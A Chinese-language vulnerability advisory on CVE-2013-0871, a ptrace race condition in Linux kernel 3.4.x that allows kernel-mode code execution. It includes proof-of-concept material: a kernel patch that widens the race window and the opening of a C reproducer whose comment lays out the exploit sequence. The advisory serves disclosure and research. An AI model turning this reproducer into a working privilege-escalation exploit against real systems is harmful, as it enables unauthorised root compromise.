发布日期:2013-02-15
更新日期:2013-02-20
受影响系统:
Linux kernel 3.4.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 57986
CVE(CAN) ID: CVE-2013-0871
Linux Kernel是Linux操作系统的内核。
Linux kernel 3.4.28之前版本在处理某些ptrace操作时存在竞争条件错误,可导致读取或写入任意内核栈内存,以内核模式权限执行任意代码。
<*来源:Suleiman Souhlal
链接:
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Code
--------
Salman Qazi provided the following PoC code:
Kernel patch for easy reproduction:
diff --git a/arch/x86/kernel/ptrace.c b/arch/x86/kernel/ptrace.c
index b629bbe..e22617e 100644
--- a/arch/x86/kernel/ptrace.c
+++ b/arch/x86/kernel/ptrace.c
@@ -24,6 +24,7 @@
#include <linux/rcupdate.h>
#include <linux/module.h>
#include <linux/context_tracking.h>
+#include <linux/delay.h>
#include <asm/uaccess.h>
#include <asm/pgtable.h>
@@ -902,6 +903,12 @@ long arch_ptrace(struct task_struct *child, long request,
datap);
case PTRACE_SETREGS: /* Set all gp regs in the child. */
+ if (!strcmp(current->comm, "ptrace_death")) {
+ int i;
+ WARN_ON_ONCE(1);
+ for (i = 0 ; i < 15; i++)
+ mdelay(10);
+ }
return copy_regset_from_user(child,
task_user_regset_view(current),
REGSET_GENERAL,
source code for ptrace_death:
/*
* Repro case for SETREGS arbitrary ring zero execution bug.
*
* The specific scenario that we attempt to create:
*
* V does a syscall. It is being traced by P. P
* upon stopping V with PTRACE_SYSCALL and waiting for it, proceeds
* to read its registers. At this time P is asleep and an RT process S
* starts running.
*
* Then P proceeds to write V's registers, at shortly it has done this
* another process K kills V. Process S goes to sleep permitting V
* space to run. V wakes up from its waiting state and heads for the exit.
* But, S quickly wakes up again by the time V has reached schedule(). V
* is no longer running (since S has the CPU)
* and P modifies its regs. When V finally starts running
* and returns from schedule(), it pops an incorrect value from the
* stack. The reason is that the stack on which schedule() is called
* does not have the final 6 registers in pt_regs on it. That means that
* when P modifies V's registers, it is actually overwriting the stack
* frame saved for schedule(), including the return RIP.
*
* V and S and pinned to CPU 0. S is an RT task so that it can control
* when V does and doesn't run.
* remaining processes are not allowed on 0.
*
*/
#include <sched.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <signal.h>
/* S */
int nuke_cpu(void)
{
int pid0;
int i;
unsigned long mask = 1;
pid0 = fork();
if (!pid0) {
struct sched_param p = {};
p.sched_priority = sched_get_priority_min(SCHED_FIFO);
assert(!sched_setscheduler(0, SCHED_FIFO, &p));
assert(!sched_setaffinity(0, sizeof(mask), &mask));
i = 0;
usleep(120000);
while(1) {
if (i == 50000) {
usleep(10);
printf("x");
fflush(stdout);
}
i++;
}
}
return pid0;
}